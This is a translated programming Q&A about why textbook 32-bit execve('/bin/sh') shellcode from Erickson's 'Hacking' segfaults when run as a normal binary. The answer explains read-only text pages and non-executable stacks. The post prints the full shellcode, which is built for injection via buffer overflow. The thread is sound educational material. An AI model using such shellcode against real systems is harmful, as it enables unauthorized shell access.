[英]Segmentation fault in assembly code
我正在研究喬恩·埃里克森的《黑客》一書。 下面的代碼是從他的書:
BITS 32
jmp short two ; Jump down to the bottom for the call trick.
one:
pop ebx ; Ebx has the addr of the string.
xor eax, eax ; Put 0 into eax.
mov [ebx+7], al ; Null terminate the /bin/sh string.
mov [ebx+8], ebx ; Put addr from ebx where the AAAA is.
mov [ebx+12], eax ; Put 32-bit null terminator where the BBBB is.
lea ecx, [ebx+8] ; Load the address of [ebx+8] into ecx for argv ptr.
lea edx, [ebx+12] ; Edx = ebx + 12, which is the envp ptr.
mov al, 11 ; Syscall #11
int 0x80 ; Do it.
two:
call one ; Use a call to get string address.
db '/bin/shXAAAABBBB' ; The XAAAABBBB bytes aren't needed.
它產生一個外殼。 我嘗試使用以下命令運行:
nasm -f elf shellcode.asm
ld -o shellcode shellcode.o
./shellcode
但是,出現以下錯誤:
Segmentation fault (core dumped)
本書中的先前示例均有效,因此我不知道出了什么問題。 我不是在裝配方面的專家,就可能發生的問題很簡單。
通常(在現代Linux上)可執行文件的.text
部分是“只讀”的,因此它應導致頁面錯誤異常(試圖寫入“只讀”頁面); 並且出於歷史原因,這通常在* nix系統上稱為“分段錯誤”。
我還要假設該代碼是在堆棧上的(例如,攻擊者通過濫用緩沖區溢出錯誤將其作為字符串注入到進程中); 這就解釋了為什么它會如此努力地避免零字節(因為在零終止字符串中不能有零字節)。 在那種情況下(在現代Linux上),堆棧應為“不執行”,並且應導致頁面錯誤異常(試圖在“不執行”頁面中執行數據)。
大多; 您將了解到有關安全漏洞的知識,這些安全漏洞在本書出版大約10年之前就已解決。
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.